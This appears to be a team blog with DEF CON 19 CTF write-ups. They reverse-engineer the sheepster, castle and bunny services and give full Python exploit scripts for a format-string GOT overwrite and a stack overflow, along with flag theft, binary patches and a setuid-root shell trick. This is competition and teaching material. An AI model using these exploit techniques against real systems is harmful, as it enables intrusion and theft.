Routards Team Blog

Binjitsu III, game scoring

2011-08-29T15:40:00.000-07:00

By the way, at the beginning of the CTF, we were given the following sheets explaining the CTF and game scoring:

Also, the official defcon book had two pages explaining the CTF and giving a nice history of the previous ones, organizing team, winning team, operating systems used and so on:

Defcon 19 CTF - Sheepster

2011-08-12T17:49:00.000-07:00

sheepster: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD),

dynamically linked (uses shared libs), for FreeBSD 8.2, stripped

This service classically listens on port 5775 and drops to privileges of user "sheepster". For every connection, a child is forked and handler function is called.

Decompilation by IDA Pro with Hex-Rays gives:

int __cdecl handler(int fd)

{

  const char *encoded; // eax@5

  size_t buflen; // eax@20

  __int16 v3; // ax@26

  size_t len__; // eax@29

  const char *unscrambled; // eax@30

  size_t buflen_; // eax@36

  const char *scrambled; // eax@36

  int result_; // [sp+1Ch] [bp-AFCh]@2

  char feof_; // [sp+23h] [bp-AF5h]@26

  char format[1000]; // [sp+26h] [bp-AF2h]@36

  char user_name[10]; // [sp+40Eh] [bp-70Ah]@9

  char buf[256]; // [sp+418h] [bp-700h]@1

  char dest[512]; // [sp+518h] [bp-600h]@1

  char filename_address[1000]; // [sp+718h] [bp-400h]@9

  FILE *stream; // [sp+B00h] [bp-18h]@22

  char *flag_r; // [sp+B04h] [bp-14h]@1

  const char *flag_a; // [sp+B08h] [bp-10h]@1

  int flag; // [sp+B0Ch] [bp-Ch]@1

  unsigned int len; // [sp+B10h] [bp-8h]@1



  flag_r = "r";

  flag_a = "a";

  flag = 0;

  len = 0;

  memset(filename, 0, 6u);

  memcpy(filename, "./log", 6u);

  memcpy(dest, ">", 2u);

  send_string(fd, dest, 0);

  memset(buf, 0, 0x100u);

  len = do_recv(fd, buf, 10u, '\n');

  if ( (len & 0x80000000u) == 0 )

  {

    if ( strcmp(buf, "zzyzxrd") )

    {

      encoded = pass_encode(buf);

      if ( strcmp(encoded, "x`lXPPTH@8") )

      {

        close(fd);

        return 0;

      }

    }

    else

    {

      flag = 1;

    }

    memcpy(dest, "Enter Username:", 0x10u);

    send_string(fd, dest, 0);

    memset(buf, 0, 0x100u);

    len = do_recv(fd, buf, 10u, '\n');

    if ( (len & 0x80000000u) == 0 )

    {

      strncpy(user_name, buf, 10u);

      memset(filename_address, 0, 1000u);

      memset(dest, 0, 512u);

      sprintf(filename_address, "0x%x\n", filename);

      memcpy(dest, "Welcome to the ddtek blog.\n", 28u);

      send_string(fd, dest, 0);

      while ( 1 )

      {

        while ( 1 )

        {

          len = 0;

          send_string(fd, "$", 0);

          memset(dest, 0, 512u);

          memset(buf, 0, 256u);

          len = do_recv(fd, buf, 10u, '\n');

          if ( (len & 0x80000000u) != 0 )

          {

            close(fd);

            return 0;

          }

          if ( strcmp(buf, "key_op") )

            break;

          if ( backdoor_crypto(fd, 0) )

            send_string(fd, "success\n", 0);

          else

            send_string(fd, "fail\n", 0);

        }

        if ( !strcmp(buf, "quit") )

          break;

        if ( strcmp(buf, "echo") )

        {

          if ( strcmp(buf, "read") )

          {

            if ( strcmp(buf, "write") )

            {

              if ( buf[0] )

              {

                strcpy(dest, buf);

                strcat(dest, " : command not found\n");

                send_string(fd, dest, 0);

              }

            }

            else

            {

              stream = fopen(filename, flag_a); // command write

              if ( stream )

              {

                memset(dest, 0, 512u);

                memcpy(dest, "Post:", 6u);

                send_string(fd, dest, 0);

                memset(buf, 0, 256u);

                len = do_recv(fd, buf, 64u, '\n');

                if ( (len & 0x80000000u) != 0 )

                {

                  close(fd);

                  return 0;

                }

                memset(dest, 0, 512u);

                strcpy(dest, user_name);

                buflen_ = strlen(dest);

                memcpy(&dest[buflen_], ": ", 3u);

                strcat(dest, buf);

                memset(format, 0, 1000u);

                scrambled = encode(dest);

                strcpy(format, scrambled);

                strcat(format, "\n");

                if ( flag == 1 )

                  fputs(format, stream);

                else

                  fprintf(stream, format);      // vuln

                fclose(stream);

              }

              else

              {

                memset(dest, 0, 512u);

                memcpy(dest, "Could not open blog\n", 21u);

                send_string(fd, dest, 0);

              }

            }

          }

          else

          {

            stream = fopen(filename, flag_r);   // command read

            if ( stream )

            {

              fseek(stream, -1000, 2);

              while ( 1 )

              {

                memset(dest, 0, 0x200u);

                fgets(dest, 100, stream);

                if ( _isthreaded )

                {

                  feof_ = feof(stream) != 0;

                }

                else

                {

                  v3 = LOWORD(stream->_IO_read_base);

                  feof_ = (v3 & ' ') != 0;

                }

                if ( feof_ )

                  break;

                unscrambled = decode(dest);

                strcpy(dest, unscrambled);

                send_string(fd, dest, 0);

              }

              memset(dest, 0, 0x200u);

              len__ = strlen(dest);

              memcpy(&dest[len__], "eof\n", 5u);

              send_string(fd, dest, 0);

              fclose(stream);

            }

            else

            {

              memset(dest, 0, 0x200u);

              memcpy(dest, "Could not open blog\n", 0x15u);

              send_string(fd, dest, 0);

            }

          }

        }

        else

        {

          memset(dest, 0, 0x200u);

          memcpy(dest, ">", 2u);

          send_string(fd, dest, 0);

          memset(buf, 0, 0x100u);

          len = do_recv(fd, buf, 64u, '\n');

          if ( (len & 0x80000000u) != 0 )

          {

            close(fd);

            return 0;

          }

          buflen = strlen(buf);

          memcpy(&buf[buflen], "\n", 2u);

          send_string(fd, buf, 0);

        }

      }

      result_ = 0;

    }

    else

    {

      close(fd);

      result_ = 0;

    }

  }

  else

  {

    close(fd);

    result_ = 0;

  }

  return result_;

}

A password is asked, silently. If it matches "zzyzxrd", program continues with flag = 1. If, once encoded, it matches "x`lXPPTH@8", then same with flag = 0. Any other string drops the connection.

The server then asks for a username, ended with "\n" or of maximum 10 characters. After, the user is provided with the blog command-line, accepting the following commands:

quit: close connection
key_op: enter ddtek's backdoor, print "failed" if wrong key and continue
echo: print the args
read: read a blog entry from file
write: write a blog entry to file, with fputs(stream, string) if flag is 0 or fprintf(stream, string) if flag is 1 => format string vulnerability

Note that posts are encoded (using a custom function) when saved to file with command write. Similarly, posts are decoded (with the inverse function) before being displayed with command read.

Exploit

First, implement the password encode function, create its inverse and decode the password that leaves flag = 0. Second, implement the encode and decode functions used in write and read commands.

Then, leverage the format string vulnerability to:

write a shellcode in an available rwx memory area
rewrite a GOT function pointer such as close() to jump to it

Because the program encodes the blog post before passing it to fprintf, every format string must be decoded first then sent to the program.
This implies the following limitations:

encoded format string must not contain "\x00" (stops strcat) or "\n" (stops recv)
the format string must be smaller than 64 characters

In order to have a set of valid format strings to write all required data, the following exploit implements a recursive algorithm choosing between different format string techniques (half/byte of length 6/4/3/2/1).

Exploit code:

#!/usr/bin/python

# Defcon 2011 CTF - sheepster

import socket, random, string

from sys import argv,exit

from struct import pack, unpack



DEFAULT_PORT = 5775

DEBUG = False

GOT_CLOSE = 0x0804E698

AREA = 0x804ec70 # some available rwx memory



# reimplement the password encode function

def pass_encode(s):

  o = ''

  for i in range(len(s)):

    x = ord(s[i])

    x += 3 * i

    x >>= 2

    x -= 2 * i

    x *= 4

    o += chr(x & 0xFF)

  return o



# then implement its inverse

def pass_decode(s):

  o = ''

  for i in range(len(s)):

    x = ord(s[i])

    x /= 4

    x += 2 * i

    x <<= 2

    x -= 3 * i

    o += chr(x & 0xFF)

  return o



# encode function used to write posts to file

def encode(s, offset=0):

  o = ''

  for i in range(len(s)):

    x = ord(s[i])

    x ^= 0x2B

    x += 63

    x ^= 0x58

    x -= 77

    x ^= 0x4A

    x += 27

    x -= (2 * (offset+i)) % 8

    o += chr(x & 0xFF)

  return o



# decode function used to read posts from file

def decode(s, offset=0):

  o = ''

  for i in range(len(s)):

    x = ord(s[i])

    x += (2 * (offset+i)) % 8

    x -= 27

    x ^= 0x4A

    x += 77

    x ^= 0x58

    x -= 63

    x ^= 0x2B

    o += chr(x & 0xFF)

  return o



def randalnum(size):

  alnum = [c for c in string.lowercase+string.uppercase+string.digits]

  return "".join([random.choice(alnum) for i in range(size)])



def connect(dst, port):

  try:

    s = socket.socket(socket.AF_INET6 if ':' in dst else socket.AF_INET, socket.SOCK_STREAM)

    s.connect((dst, port))

    return s

  except socket.error, e:

    print "Error: %s" % repr(e)

    exit(1)



def recv(s, size=4096):

  d = s.recv(size)

  if DEBUG: print "S: %r" % d

  return d



def send(s, d):

  if DEBUG: print "C: %r" % d

  return s.send(d)



def welcome(s, user=""):

  recv(s) # >

  # enter with flag = 0 by giving the encoded password

  send(s, pass_decode("x`lXPPTH@8") + "\n") # "xevgdirkhe"

  recv(s) # "Enter Username:"

  if len(user) < 10:

    user += "\n"

  send(s, user[:10])

  if "$" not in recv(s): # "Welcome to the ddtek blog.\n"

    recv(s) # "$"



def write(s, data):

  send(s, "write\n")

  r = recv(s) # "Post:"

  if "Could not open blog" in r:

    print "[!] Error: server replied %r" % r.strip()

    exit(1)

  data = decode(data, offset=10) # user+": "

  if len(data) < 64:

    data += "\n"

  print "[+] Writing post of length %i" % len(data)

  send(s, data[:64]) # max size 64 and "\n" terminates

  recv(s) # "$"



def read(s):

  send(s, "read\n")

  d = ""

  while not d.endswith("eof\n$"):

    d += recv(s)

  return d



def read_find(s, user):

  # read text: multiple blog posts

  text = read(s)

  # match start

  startp = user + ": "

  start = text.find(startp)

  if start == -1:

    raise Exception("read_find(): cannot find start")

  text = text[start+len(startp):]

  # match end -- we expect our post to be the last one when reading

  end = text.find("\neof\n$")

  if end == -1:

    raise Exception("read_find(): cannot find end")

  text = text[:end]

  # we got it!

  return encode(text, 10)



def valid_format_string(data, already_written=0): # avoid bad chars

  data = decode(data, offset=already_written)

  if "\n" in data or "\x00" in data or len(data) > 64:

    return False

  else:

    return True



def fmt_write_half(address, data, offset, already_written=0):

  data += "\x00"*(-len(data)%2) # align

  v = [unpack("<H",data[i:][:2])[0] for i in range(0,len(data),2)]

  f  = ""

  for i in range(len(v)):

    f += pack("<I", address + 2*i)

  aw = already_written + len(f)

  for i in range(len(v)):

    f += "%" + str((v[i]-aw)&0xFFFF) + "u%" + str(offset + i) + "$hn"

    aw = v[i]

  return f



def fmt_write_byte(address, data, offset, already_written=0):

  v = map(ord, [c for c in data])

  f  = ""

  for i in range(len(v)):

    f += pack("<I", address + i)

  aw = already_written + len(f)

  for i in range(len(v)):

    f += "%" + str((v[i]-aw)&0xFF) + "u%" + str(offset + i) + "$hhn"

    aw = v[i]

  return f



def find_strategy(data, address, offset, already_written):

  """Find the best strategy of format strings to write data at address.

At our disposition: format strings of half-words or bytes, any length.

Limitations: length < 64 and no "\n" or "\x00" after encode

Function recursively checks if a given choice does not lead to a dead-end"""

  

  if len(data) == 0: # nothing to do

    return []

  

  if len(data) >= 6:

    fmt = fmt_write_half(address, data[:6], offset, already_written)

    if valid_format_string(fmt, already_written):

      remainder = find_strategy(data[6:], address+6, offset, already_written)

      if remainder != False:

        return [(6, "half")] + remainder

  

  if len(data) >= 4:

    fmt = fmt_write_half(address, data[:4], offset, already_written)

    if valid_format_string(fmt, already_written):

      remainder = find_strategy(data[4:], address+4, offset, already_written)

      if remainder != False:

        return [(4, "half")] + remainder

  

  if len(data) >= 4:

    fmt = fmt_write_byte(address, data[:4], offset, already_written)

    if valid_format_string(fmt, already_written):

      remainder = find_strategy(data[4:], address+4, offset, already_written)

      if remainder != False:

        return [(4, "byte")] + remainder

  

  if len(data) >= 3:

    fmt = fmt_write_byte(address, data[:3], offset, already_written)

    if valid_format_string(fmt, already_written):

      remainder = find_strategy(data[3:], address+3, offset, already_written)

      if remainder != False:

        return [(3, "byte")] + remainder

  

  if len(data) >= 2:

    fmt = fmt_write_half(address, data[:2], offset, already_written)

    if valid_format_string(fmt, already_written):

      remainder = find_strategy(data[2:], address+2, offset, already_written)

      if remainder != False:

        return [(2, "half")] + remainder

  

  if len(data) >= 2:

    fmt = fmt_write_byte(address, data[:2], offset, already_written)

    if valid_format_string(fmt, already_written):

      remainder = find_strategy(data[2:], address+2, offset, already_written)

      if remainder != False:

        return [(2, "byte")] + remainder

  

  if len(data) >= 1:

    fmt = fmt_write_byte(address, data[:1], offset, already_written)

    if valid_format_string(fmt, already_written):

      remainder = find_strategy(data[1:], address+1, offset, already_written)

      if remainder != False:

        return [(1, "byte")] + remainder

  

  # no suitable format string found

  return False



def write_at_address(s, data, address):

  # format string parameters

  offset = 11

  already_written = 10 # len(user + ": ")

  

  # find a combination of half/byte format strings that does it

  strategy = find_strategy(data, address, offset, already_written)

  

  if strategy == False:

    print "[!] Unable to find a suitable format string strategy"

    exit(1)

  

  # then send the writes

  i = 0

  for length, type in strategy:

    if type == "half":

      fmt = fmt_write_half

    else: # type == "byte"

      fmt = fmt_write_byte

    str = fmt(address + i, data[i:][:length], offset, already_written)

    write(s, str)

    i += length



def exploit(dst, port):

  s = connect(dst, port)

  user = randalnum(8)

  print "[*] User: %s" % user

  welcome(s, user)

  

  sc = "\xcc" # your shellcode

  

  # write shellcode using format string

  write_at_address(s, sc, AREA)

  

  # rewrite GOT entry of close() to point to shellcode

  write_at_address(s, pack("<I", AREA), GOT_CLOSE)

  

  # jump to shellcode by calling close()

  send(s, "quit\n")



if __name__=='__main__':

  if len(argv) < 2:

    print "Usage: %s <dst> [<port=%i>]" % (argv[0], DEFAULT_PORT)

    exit(1)

  dst = argv[1]

  port = int(argv[2]) if len(argv)>2 else DEFAULT_PORT

  try:

    exploit(dst, port)

  except KeyboardInterrupt:

    print "Interrupted"

Funny exploit

Blog filename is stored in the .bss at 0x0804E710 and filled by:

memcpy(filename, "./log", 6u);

To steal flags, use the format string to rewrite "./log" to "./key", then use "read" command to read the flag, encoded.

To overwrite flag, we could use the "write" command. Unfortunately, the file is opened in append mode and a prefix of "<user>: " is enforced so, unless ddtek allows such overwrites in their scoring engine, it should not work.

More fun? Suppose that the filename is not in the .bss but at a unknown address - for instance initialized with malloc(). For an unknown reason, the program stores the address of the filename in a stack buffer, in hexadecimal text format with:

sprintf(filename_address, "0x%x\n", filename);

Use the format string to leak this stack buffer and obtain the address of the filename. To read the result, use the "user" parameter as a pattern to find in the result of the read command ("<user>: " is not encoded).

Exploit code:

#!/usr/bin/python

# Defcon 2011 CTF - sheepster - funny

import re

from sheepster import *



def leak_filename_address(s, user):

  offset = 453

  fmt  = "%" + str(offset)   + "$08x"  # 4 bytes

  fmt += "%" + str(offset+1) + "$08x"  # 4 bytes

  fmt += "%" + str(offset+2) + "$04hx" # 2 bytes

  if not valid_format_string(fmt, 10):

    print "[-] Leak format string is not valid"

    exit(1)

  try:

    write(s, fmt)

    r = read_find(s, user)

  except Exception, e:

    if str(e).startswith("read_find(): "):

      print "[-] Write+read failed, please retry"

      exit(1)

    else:

      raise e

  # address was written with sprintf(stack_buf, "0x%x\n", filename)

  # so parse hexadecimal text format

  r = "".join([r[i:][:8].decode("hex")[::-1] for i in range(0,len(r),8)])

  return int(r.strip(), 16)



def read_flag(s):

  text = read(s)

  end = text.find("\neof\n$")

  if end == -1:

    print "[-] Cannot find eof"

    return ""

  text = text[:end]

  return encode(text)



def exploit(dst, port):

  s = connect(dst, port)

  user = randalnum(8)

  print "[*] User: %s" % user

  welcome(s, user)

  

  # leak filename address instead of using its value in .bss (0x0804E710)

  # could have been cool if adress was malloc'd/randomized

  filename_address = leak_filename_address(s, user)

  print "[*] Leaked filename address: 0x%08x" % filename_address

  

  # change filename

  write_at_address(s, "key", filename_address+2) # skip "./"

  

  # read flag

  flag = read_flag(s)

  if re.match("^[0-9a-f]{40}$", flag) is None:

    print "[-] Read flag failed :( retry?"

  else:

    print "[*] Read flag: %s" % flag

  

  # overwrite flag

  team_key = flag[::-1]

  print "[*] Overwrite with team key: %s" % team_key

  write(s, team_key)



if __name__=='__main__':

  if len(argv) < 2:

    print "Usage: %s <dst> [<port=%i>]" % (argv[0], DEFAULT_PORT)

    exit(1)

  dst = argv[1]

  port = int(argv[2]) if len(argv)>2 else DEFAULT_PORT

  try:

    exploit(dst, port)

  except KeyboardInterrupt:

    print "Interrupted"

Patch

Nop the conditional jump after the flag check in order to always call fputs and never fprintf.
This turns the vulnerable code:

if ( flag == 1 )

  fputs(format, stream);

else

  fprintf(stream, format);      // vuln

into:

if ( 1 )

  fputs(format, stream);

else

  fprintf(stream, format);      // never called

It gives the following 3-bytes patch in IDA .dif format:

000024B9: 75 90

000024BA: 17 90

Open question

What would happen if:

the home directory is writeable by user sheepster (maybe to be able to create "./log" if it does not exist?)
something (cron by the organizers?) regularily chowns this file to root (what for?)

Our guess:

sheepster:~$ cp /bin/sh log

sheepster:~$ chmod u+s log

Now that something does:

root:~# chown root /home/sheepster/log

and unlike Linux, setuid bit remains...

sheepster:~$ ./log -i

# id

# uid=30013(sheepster) gid=30013(sheepster) euid=0(root) groups=30013(sheepster)

What do you think?

Defcon 19 CTF - Castle

2011-08-11T18:17:00.000-07:00

castle: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), 

dynamically linked (uses shared libs), for FreeBSD 8.2, stripped

This service listens in IPv6 on port 7629. When connecting, the service drops its privileges and forks to call the function at offset 0x08049340. This function begins reading a buffer sent to the socket, ending by "EOF\n". The read buffer is then written in a temporary file, created by a call to the mkstemp() function with the "/tmp/castleXXXXXXXX" template. Finally, castle redirects stdin, stdout and stderr to the socket, using the dup2() function and the "/usr/local/bin/sandy" binary is called with "-o <our ipv6> -d -s " and the temporary file as parameters.

In order for it to work properly, castle has to be able to write in the /tmp/ folder. This may be an idea from ddtek to compel the teams to leave at least one writable directory on the filesystem. On our server, we changed rights of the /tmp/ folder so that it belonged to the castle user, the only user able to write in it. That's all for the "castle" binary.

We shall now focus on the "sandy" binary (which was placed in the wrong /usr/local/sbin/ folder on first day of the CTF...) which really contains the exploitable code.

sandy: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), 

dynamically linked (uses shared libs), for FreeBSD 8.2, stripped

This binary is larger than the previous one: its size is 120Kb while castle's one is 9Kb. sandy begins by scheduling an alarm signal using the alarm() function with 5 seconds as parameter. It then retrieves the passed arguments and checks on them:

if a file is passed, it is opened, read and stored in a buffer
if argument "d" is passed, the previous file is deleted
if argument "o" is passed, the IPv6 socket address is checked

When all arguments are correct, the buffer read from the file is sent to the function at 0x8057030, in charge of parsing it. The parser understands a kind of simplified C language, using the following keywords, operands and functions:

for, while, switch, case, if, else, return, do
int, str, length, isnull, type
fopen, fclose, fprintf, fread, fwrite, fork, socket, listen, accept, fgets, fputs

Polling

The polling sent by ddtek is:

The polling reads a string sent on the socket and, in return, writes what has been read concatenated to the " goodbye\n" string.

Exploit

What first comes to mind is to read and write the token using a combination of the fopen/fread/fwrite/fclose functions. But, this is not all so simple and we note that the fopen() function is limited on purpose and can not be used. However, the fprintf() and fclose() functions do really call their libc counterparts.

The exploit consists in sending to the service a code with a format string vulnerability and to use it. We decided to replace the fclose() pointer in the GOT by an address from the stack on which our shellcode, preceded by a big nopsled, is stored.

The first two "#" are there to align the format string.
The shellcode must fork to bypass the signal scheduled by the alarm() function.

Patch

The quick-and-dirty patch consists in replacing the fprintf word in the sandy parser by another random word, or in replacing the fprintf handler by a null function.

Sometimes after having patched sandy, we saw it was still possible to exploit us. In fact, ddtek regularly replaced the sandy binary on the filesystem by the original one, without warning the teams... Could the script in charge of correcting the wrong sandy binary location still have been running?

The castle binary also had to be patched for it to call the corrected sandi binary instead of the original sandy, regularly overwritten.

Assessing the number of valid tokens stolen

Team             IPv6 address        Stolen flags  Period

---------------------------------------------------------------------------------------------------

Shellphish       dc19:c7f:2011:1::2  33            From 2011-08-06 10:08:09 to 2011-08-06 13:59:44

PLUS@Postech     dc19:c7f:2011:2::2  107           From 2011-08-06 10:01:42 to 2011-08-07 13:08:11

Routards         dc19:c7f:2011:3::2  -             -

Hates Irony      dc19:c7f:2011:4::2  64            From 2011-08-06 10:03:27 to 2011-08-07 11:53:11

lollersk8ers     dc19:c7f:2011:5::2  0             -

PPP              dc19:c7f:2011:6::2  0             -

IV               dc19:c7f:2011:7::2  8             From 2011-08-06 15:26:15 to 2011-08-07 12:41:44

VelociROPtors    dc19:c7f:2011:8::2  154           From 2011-08-06 10:05:23 to 2011-08-07 13:28:07

European Nopsled dc19:c7f:2011:9::2  132           From 2011-08-06 10:05:42 to 2011-08-07 13:03:18

sutegoma2        dc19:c7f:2011:a::2  17            From 2011-08-06 15:55:56 to 2011-08-06 20:23:54

int3pids         dc19:c7f:2011:b::2  118           From 2011-08-06 10:05:52 to 2011-08-06 21:00:44

ACME Pharm       dc19:c7f:2011:c::2  119           From 2011-08-06 10:05:48 to 2011-08-07 12:58:05

--------------------------------------------------------------------------------------------------

TOTAL            -                   752           From 2011-08-06 10:01:42 to 2011-08-07 13:28:07

This is not the real score as the tokens submission system failed several times and we had to submit tokens by hand without using our framework. Next year, our framework will be modified to handle all ddtek system failures ;)

As a consequence, this table sums up the minimum number of validated tokens for this service.

The 8 IV tokens have certainly not been stolen from them as they had redirected services to a virtual machine (not quite fairplay, isn't it? But if ddtek doesn't do anything about it two years in a row, why not take advantage of it?). However, we used this virtual machine as a proxy to attack other teams from the IV network, in order to bypass blacklisting.

Defcon 19 CTF - Bunny

2011-08-11T16:38:00.000-07:00

bunny: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD),

dynamically linked (uses shared libs), for FreeBSD 8.2, stripped

This service classically listens on port 15323 and drops to privileges of user "bunny". For every connection, a child is forked and handler function is called.

Decompilation by IDA Pro with Hex-Rays gives:

int __cdecl handler(int first_fd)

{

  int fd; // ebx@1

  unsigned int seed; // eax@1

  int newport; // ST20_4@2

  int newsock; // [sp+24h] [bp-44h]@2

  unsigned int i; // [sp+28h] [bp-40h]@1

  struct sockaddr addr; // [sp+2Ch] [bp-3Ch]@3

  socklen_t addr_len; // [sp+48h] [bp-20h]@1

  char buf[12]; // [sp+4Ch] [bp-1Ch]@1

  unsigned int hops; // [sp+58h] [bp-10h]@1



  fd = first_fd;

  *(_DWORD *)buf = 0;

  *(_DWORD *)&buf[4] = 0;

  *(_WORD *)&buf[8] = 0;

  addr_len = 28;

  seed = time(0);

  srand(seed);

  hops = rand() % 30 + 5;

  printf_sock(first_fd, "Check out these %d hops\n", hops);

  i = 0;

  if ( hops )

  {

    do

    {

      newport = rand() % 64511 + 1024;

      close(fd);

      newsock = bind_listen(newport);

      do

        fd = accept(newsock, &addr, &addr_len);

      while ( fd == -1 );

      close(newsock);

      print_sock(fd, "nop nop nop!\n", 0);

      recv_sock(fd, (int)&buf[i], 1u);

      if ( strstr(buf, "/bin/sh") )

        if_binsh(fd, 0);

      ++i;

    }

    while ( i < hops );

  }

  print_sock(fd, "You made it!\n", 0);

  close(fd);

  return 0;

}

First, the server returns a number of hops determined by srand(time(0)) at connection, minimum 5 and maximum 34.

Then, the server enters the following loop:

close the previous connection
bind on rand() unprivileged (>1024) port
receive 1 byte and store it on a stack buffer of size 12
continue the loop if iterations < hops

The stack after the buffer is as follow:

  char buf[12]; // [sp+4Ch] [bp-1Ch]@1

  unsigned int hops; // [sp+58h] [bp-10h]@1

We can rewrite the hops variable if hops > 12, and modify it to increment the maximum number of iterations, allowing us to write as many bytes as we want on the stack: this is a stack-based buffer overflow.

Quick exploit

Synchronize the clocks, re-implement FreeBSD libc srand() & rand(), create a function to iterate the loop, and use it to exploit the stack-based buffer overflow with a JMP ESP + payload. We use the JMP ESP (FF E4) found in FreeBSD 8.2 libc at 0x2816065d.

Disadvantage: this requires many TCP connections, one for every byte we rewrite on the stack.

Better exploit

The string "/bin/sh" in the buffer triggers ddtek's backdoor, which does a malloc() then two recv() for size - recv(4) - then data - recv(size) - where size <= 0x400. Since we do not know ddtek's key we will fail the other checks and this memory will be freed. However, the data remains in memory at the address of the malloc (not zeroed) and this address remains untouched in the call stack.

Thus, we can build the following exploit:

trigger "/bin/sh" backdoor, store payload there
buffer overflow with JMP ESP + stub to retrieve malloc address on call stack and jump to it
we can put the stub inside the buffer and use JMP ESP + short JMP
total hops (number of new TCP connections) needed is only 38
only depends on the address of JMP ESP

Exploit code:

#!/usr/bin/python

# Defcon 2011 CTF - bunny

import os, socket, time, random

from struct import pack, unpack

from sys import argv, exit



DEFAULT_PORT = 15323

DEBUG = False

JMP_ESP = 0x2816065d # FreeBSD 8.2

MAXTRIES = 5



# reimplement FreeBSD's libc srand/rand

RAND_MAX = 0x7fffffff



def srand(seed):

  global RAND_NEXT

  RAND_NEXT = seed



def rand():

  global RAND_NEXT

  if RAND_NEXT == 0:

    RAND_NEXT = 123459876

  hi = RAND_NEXT / 127773

  lo = RAND_NEXT % 127773

  x = 16807 * lo - 2836 * hi

  if x < 0:

    x += 0x7fffffff

  RAND_NEXT = x & 0xFFFFFFFF

  return RAND_NEXT % (RAND_MAX + 1)



def randchars(size):

  return "".join([chr(random.randint(0,255)) for i in range(size)])



def connect(dst, port):

  for retry in range(MAXTRIES):

    try:

      s = socket.socket(socket.AF_INET6 if ':' in dst else socket.AF_INET, socket.SOCK_STREAM)

      s.connect((dst, port))

      return s

    except socket.error, e:

      if retry==MAXTRIES-1:

        print "Error: %s, too many fails, exiting" % repr(e)

        exit(1)

      print "Error: %s, retrying..." % repr(e)

      time.sleep(0.1)



def recv(s, size=4096):

  d = s.recv(size)

  if DEBUG: print "S: %r" % d

  return d



def send(s, d):

  if DEBUG: print "C: %r" % d

  return s.send(d)



def correct_seed_with_hops(seed, hops):

  for i in range(-15,15):

    srand(seed+i)

    h = rand() % 30 + 5

    if h == hops:

      return seed+i

  print "Error: failed to adjust seed with hops. Server time is different? (or service patched)"

  exit(1)



def walk(s, dst, buf, hops=0):

  for i in range(len(buf)):

    newport = rand() % 64511 + 1024

    print "[+] Hop #%i, connecting to port %i" % (hops+i+1, newport)

    s.close()

    time.sleep(0.1)

    s = connect(dst, newport)

    recv(s)

    send(s, buf[i])

  return s



def exploit(dst, port):

  while True: # auto-retry seed

    s = connect(dst, port)

    estimated_seed = int(time.time())

    print "[*] Estimated seed: 0x%08x" % estimated_seed

    

    hops = int(recv(s).split(' ')[3])

    # use that value to adjust seed if needed

    seed = correct_seed_with_hops(estimated_seed, hops)

    if seed != estimated_seed:

      print "[*] Corrected seed: 0x%08x" % seed

    

    if hops >= 13:

      break

    

    print "[!] Hops %i < 13, exploitation not possible, retrying..." % hops

    time.sleep(1)

  

  sc = "\xcc" # your shellcode

  

  # walk to the crypto backdoor, '/bin/sh' is the trigger

  s = walk(s, dst, "/bin/sh") # 7 hops

  

  # enter the crypto backdoor

  recv(s, 32) # receive random bytes

  send(s, pack("<I", len(sc))) # send size

  send(s, sc) # send data to malloc() area

  

  buf  = randchars(5)

  buf += pack("<I", 7+5+4+16+4+2) # size

  buf += "\x8b\x84\x24\x5c\xfe\xff\xff" # 1) mov eax,[esp-420]: malloc address

  buf += "\xff\xe0" # jmp eax

  buf += randchars(7)

  buf += pack("<I", JMP_ESP) # eip

  buf += "\xeb" + chr(0xFE -20) # jump to 1)

  

  # walk to shellcode! total hops needed: 38

  s = walk(s, dst, buf, 7)

  

  print "[x] Done"

  recv(s)

  s.close()



if __name__=='__main__':

  if len(argv) < 2:

    print "Usage: %s <dst> [<port=%i>]" % (argv[0], DEFAULT_PORT)

    exit(1)

  dst = argv[1]

  port = int(argv[2]) if len(argv)>2 else DEFAULT_PORT

  try:

    exploit(dst, port)

  except KeyboardInterrupt:

    print "Interrupted"

Patch

Change handler's ret instruction with exit system call: just after xor eax,eax at 0x0804981a, put inc eax; int 0x80. It gives the following 3-bytes patch in IDA .dif format:

0000181C: 5B 40

0000181D: 5E CD

0000181E: 5F 80

Stack-buffer overflow will still be there but not exploitable, at least in this way. Also, unlike other teams who patched the number of hops to be < 13, this does not change how the server replies and therefore cannot be detected.

Note that changing system time to prevent exploitation may not be a good idea, because even ddtek would not be able to connect to their backdoor, therefore decreasing SLA (well, if ddtek notices it).

Defcon 19 CTF - CTF Inside

2011-08-10T16:34:00.000-07:00

ddtek ran their third contest since they took over the CTF's organization: "Binjitsu III" (or as the scoreboard had it "binjutsu" ;)

This edition was located for the first time at the Rio and ddtek teased us with an authentication passphrase related to the casino switch.

Organizing such an event represents a heavy workload as there are in fact two separate contests to run: the quals - online - and the CTF itself - in Vegas. Although not perfect in all aspects, ddtek is doing quite a good job at making this happen. Thanks to them.

We are involved in the CTF since five years and, as such, followed the global evolution over the years.
Good news are that teams are turning international and skills are going up:

the Danes (well, mostly): European Nopsled - who rocked the contest: congratz guys!
the Spaniards: int3pids (formerly known as Sexy Pandas with Gambas) - very much feared reversing power and one of the very few teams that pass the quals every year.
the Japanese: sutegoma2 - joining the contest for the first time. Welcome Ninjas!
the Russians: IV - also here for the first time and finished 4th, a very good result. Oh, and nicely played on the defense, you're lucky the polling sucked ;)
the Koreans: PLUS@Postech - GON are out this year, so are WOWHACKER. Alliances show their limits ;-)
and the all-over-the-world team lollersk8ers did a good job with only 5 players. Did you really have no services running since the beginning?

Many US teams were there as usual, some of them with ex-members of previous winners 1@stplace/vedagodz:

ACME Pharm: too busy contemplating your black badge?
Hates Irony: less sex doll^Wsheep, tshirts and stickers and more reversing ;)
velociROPtors: you should be ashamed of using the word ROP.
Plaid Parliament of Pwning: you know how to win challenge CTF but you cry your mommies now! j/k well done guys for a first edition, expecting high from you next year ;)
shellphish: defcon13 winners and still strong in finals!

As usual, the game was slow to start. Long after being seated, we were handed the binaries, the VM image (really?) and credentials for our VM and scoring.

A few hours later... We had access to our VM and traces of our first opponents. It wasn't long before the first exploits started being ready, we pwned, stole keys, submitted them... & NOoo... THE !@#$ SUBMISSION SERVER IS DOWN. And keys are expiring :( we were told "don't worry Routards, it is the same thing for all teams, don't be too fast!" lolz.
Many teams, not just us, had 0day/breakthrough and could have scored first blood during this period, but were unable to.

A few hours later... We could actually score.

